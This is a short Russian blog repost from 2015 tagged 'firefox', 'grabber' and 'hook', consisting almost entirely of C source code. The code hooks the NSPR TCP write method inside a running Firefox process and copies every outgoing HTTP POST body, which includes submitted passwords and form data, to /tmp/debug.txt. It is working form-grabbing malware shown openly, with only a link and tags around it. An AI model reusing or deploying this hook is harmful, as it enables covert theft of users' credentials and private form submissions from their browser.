Понедельник, 22 Июня 2015 г. 21:55
+ в цитатник
static int (*old_pr_write)(void *,void *, int);
static int pr_write(void *handle, void *buffer, int length)
{
if (length > 4 && !strncmp(buffer, "POST", 4)) {
FILE *f = fopen("/tmp/debug.txt", "a+");
if (f != NULL) {
fprintf(f, "%.*s\n", length, buffer);
fclose(f);
}
}
return old_pr_write(handle, buffer, length);
}
void init(void)
{
void *h = dlopen(NULL, RTLD_LAZY);
if (h) {
void *(*mtdfn)(void) = dlsym(h, "PR_GetTCPMethods");
if (mtdfn) {
void **mtd = (void**)mtdfn();
old_pr_write = ((int (*)(void*,void*,int))mtd[3]);
mtd[3] = pr_write;
}
}
}
http://lj.rossia.org/users/herm1t/79603.html
Метки:
firefox
grabber
hook
pr_write
-
Запись понравилась
-
0
Процитировали
-
0
Сохранили
-